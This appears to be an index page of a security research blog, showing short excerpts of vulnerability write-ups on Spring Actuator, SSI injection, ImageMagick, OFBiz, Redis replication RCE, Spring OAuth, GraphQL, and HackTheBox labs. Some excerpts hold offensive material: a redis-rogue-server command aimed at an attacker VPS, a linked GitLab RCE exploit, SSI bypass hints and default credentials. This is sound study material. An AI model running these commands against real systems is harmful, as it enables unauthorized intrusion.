Security Research & Engineering Practice

Technical articles migrated from Yuque.

Spring Actuator Unauthenticated Vulnerability Reproduction Notes

0. Background Actuator endpoints allow you to monitor and interact with your application. Spring Boot includes a number of built-in endpoints, and you can add your own as well. For example, the health endpoint provides basic application health information. dirsearch supports scanning for Actuator endpoints. 1. Vulnerability Detection Identifying SpringBoot /error, There was an unexpected error (type=None, status=<font style="color:rgb(0, 0, 0);">999</font>). /resume, There was an unexpected error (type=Method Not Allowed, status=<font style="color:rgb(0, 0, 0);">405</font>). For Spring 1x, they are registered under /; in 2x, they were moved to the /actuator/ base path. ...

A Look at the Classic SSI Injection

0x00 Cheat Sheet The keywords exec and cmd are case-insensitive, so mixed-case combinations can be considered for bypasses "-->'-->`--> "-->'-->`--> Common commands # General PoC  # Linux    # windows  0x01 Concepts The following is compiled from the Apache httpd tutorial[1]; feel free to skip the gray parts (TL;DR): ...

【CVE-2016–3714】ImageMagick Command Execution Vulnerability

0x00 Background ImageMagick is a package commonly used by web services to process images. Multiple vulnerabilities exist when processing user-submitted images: CVE-2016-3714, CVE-2016-3715, CVE-2016-3716, and CVE-2016-3717. The most severe of these is CVE-2016-3714, which can lead to remote code execution (RCE). This vulnerability was discovered by Nikolay Ermishkin, a security researcher on the Mail.Ru security team. The ImageMagick development team was notified and pushed out a quick fix, but it turned out to be incomplete. ...

[CVE-2020-9496] Apache OfBiz Deserialization Command Execution Vulnerability

0x01 Background Apache OFBiz is a very well-known e-commerce platform and a very famous open-source project. It provides a framework based on the latest J2EE/XML specifications and technology standards for building large- and medium-sized enterprise-grade, cross-platform, cross-database, cross-application-server, multi-tier, distributed e-commerce WEB application systems. OFBiz’s most notable characteristic is that it provides a complete set of components and tools for developing Java-based web applications, including the entity engine, service engine, message engine, workflow engine, rules engine, and more. By default you can log in with the username admin and the password ofbiz. ...

HackTheBox: Monitors Notes

Information Gathering Nmap Nmap scan report for Monitors.HTB (10.10.10.238) Host is up (0.30s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA) | 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA) |_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: WordPress 5.5.1 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Welcome to Monitor – Taking hardware monitoring seriously Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel WordPress version 5.5.1 — registration is not allowed ...

HackTheBox: Ready Notes

Entry Point Nmap http://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE) How do you get the GitLab version? — According to https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab, we know that: Register a user, log in, and you can see the version Search for it, and there’s an exploit: https://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py Successfully got a shell as the git user Privilege Escalation version: '2.4' services: web: image: 'gitlab/gitlab-ce:11.4.7-ce.0' restart: always hostname: 'gitlab.example.com' environment: GITLAB_OMNIBUS_CONFIG: | external_url 'http://172.19.0.2' redis['bind']='127.0.0.1' redis['port']=6379 gitlab_rails['initial_root_password']=File.read('/root_pass') networks: gitlab: ipv4_address: 172.19.0.2 ports: - '5080:80' #- '127.0.0.1:5080:80' #- '127.0.0.1:50443:443' #- '127.0.0.1:5022:22' volumes: - './srv/gitlab/config:/etc/gitlab' - './srv/gitlab/logs:/var/log/gitlab' - './srv/gitlab/data:/var/opt/gitlab' - './root_pass:/root_pass' privileged: true restart: unless-stopped #mem_limit: 1024m networks: gitlab: driver: bridge ipam: config: - subnet: 172.19.0.0/16 Digging further ...

Attacking GraphQL — Learning GraphQL Security from the DVGA Range

0x00 Background First, an introduction: what is GraphQL? Just refer to this article See:https://zhuanlan.zhihu.com/p/124019191、 The client first interacts with GraphQL, which in turn interacts with arbitrary code, and finally ends the conversation with the database. The diagram describing this situation is: This architectural change brings many advantages, for example: All the data the client needs can be obtained in a single request (whereas a REST API requires multiple requests) A single Endpoint (URL) can handle multiple kinds of requests. Introspection Introspection allows us to get information about all the Requests, Mutations, Subscriptions, and Data Types and all other things that are made available to the clients making requestsThis information is easily available by requesting ___schema meta-field, which, according to the specification, is always available to the query of the “root” type. ...

Redis <= 5.0.5 Master-Slave Replication RCE Study Notes

# Redis <= 5.0.5 python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443 redis-rogue-server_poison.zip 1. Introduction Setting Up the Environment Set up the environment with Docker docker pull damonevking/redis5.0 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server Normal Use of the Master-Slave Feature Redis is an open-source, network-enabled, in-memory, optionally persistent key-value store written in ANSI C. However, when data is stored in a single Redis instance and the read/write volume grows large, the server struggles to keep up. To handle this situation, Redis provides a master-slave mode: one redis instance acts as the master while the other instances all act as backups. The master and slaves hold identical data — slaves only handle reads while the master only handles writes. This read/write separation greatly relieves traffic pressure, and can be considered a mitigation approach that trades space for efficiency. ...

[CVE-2016-4977] Spring Security OAuth RCE Vulnerability Study

0x01 Background Spring Security OAuth is a module that provides security authentication support for the Spring framework. On July 5, its maintainers published this upgrade announcement, which mainly explains that when users use Whitelabel views to handle errors, an attacker — once authorized — can remotely execute commands by crafting malicious parameters. The vulnerability’s discoverer publicly released the discovery write-up on October 13. SpEL expression injection! (1) Affected versions org.springframework.security.oauth - spring-security-oauth2: 2.0.0 to 2.0.9 1.0.0 to 1.0.5 I took a look at the maven repository and found that 2.0.X was released in February 2016, which means the vulnerability was discovered roughly half a year after release. From this we can also draw a conclusion: hackers are not watching official releases around the clock — in other words, real-world 0day vulnerabilities can always be found by you. ...

[Translation] OWASP NodeJS Security

Just read the PDF. 【翻译】OWASP_NodeJS安全.pdf